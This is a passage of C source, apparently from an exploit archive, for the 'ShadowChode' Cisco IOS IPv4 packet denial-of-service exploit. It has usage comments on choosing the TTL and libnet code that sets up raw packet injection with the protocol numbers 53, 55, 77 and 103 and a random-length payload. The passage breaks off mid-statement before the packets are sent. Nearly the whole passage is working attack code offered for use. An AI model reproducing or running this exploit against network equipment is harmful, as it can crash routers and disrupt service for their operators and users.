1 /*
2 * ShadowChode − Cisco IOS IPv4 Packet Processing Denial of Service Exploit
3 *
4 * Ping target router/switch for TTL to host. Subtract that number from 255
5 * and use that TTL on the command line. The TTL must equal 0 or 1 when it
6 * reaches the target. The target must accept packets to the given target
7 * interface address and there are some other caveats.
8 *
9 * BROUGHT TO YOU BY THE LETTERS C AND D
10 *
11 * [L0cK]
12 */
13
14 #include <stdio.h>
15 #include <sys/types.h>
16
17 #include "libnet.h"
18
19 #define MIN_PAYLOAD_LEN (26)
20
21 #define CLEANUP { \
22 libnet_destroy(lh); \
23 free(payload); \
24 }
25
26 int
27 main(int argc, char *argv[])
28 {
29 char errbuf[LIBNET_ERRBUF_SIZE];
30 libnet_t *lh;
31 u_long dst_addr;
32 int ttl;
33 int payload_len;
34 char *payload;
35 libnet_ptag_t data_tag;
36 libnet_ptag_t ip_tag;
37 int i;
38 int len;
39 int protocols[] = { 53, 55, 77, 103 };
40 struct libnet_stats ls;
41
42 lh = libnet_init(LIBNET_RAW4, NULL, errbuf);
43
44 if (lh == NULL) {
45 (void) fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
46 exit(−1);
47 }
48
49 if (argc != 3 || (dst_addr = libnet_name2addr4(lh, argv[1], LIBNET_RESOLVE) == −1)) {
50 (void) fprintf(stderr, "Usage: %s <target> <ttl>\n", argv[0]);
51 libnet_destroy(lh);
52 exit(−1);
Page 1/3
Cisco IOS IPv4 Packets Denial of Service Exploit
l0cK
07/18/2003
53 }
54
55 { /* OH WAIT, ROUTE’S RESOLVER DOESN’T WORK! */
56 struct in_addr dst;
57
58 if (!inet_aton(argv[1], &dst)) {
59 perror("inet_aton");
60 libnet_destroy(lh);
61 exit(−1);
62 }
63
64 dst_addr = dst.s_addr;
65 }
66
67 ttl = atoi(argv[2]);
68
69 libnet_seed_prand(lh);
70
71 len = libnet_get_prand(LIBNET_PR8);
72
73 /* Mmmmm, suck up random amount of memory! */
74
75 payload_len = (MIN_PAYLOAD_LEN > len) ? MIN_PAYLOAD_LEN : len;
76
77 payload = (char *) malloc(payload_len);
78
79 if (payload == NULL) {
80 perror("malloc");
81 libnet_destroy(lh);
82 exit(−1);
83 }
84
85 for (i = 0; i < payload_len; i++) {
86 payload[i] = i;
87 }
88
89 data_tag = LIBNET_PTAG_INITIALIZER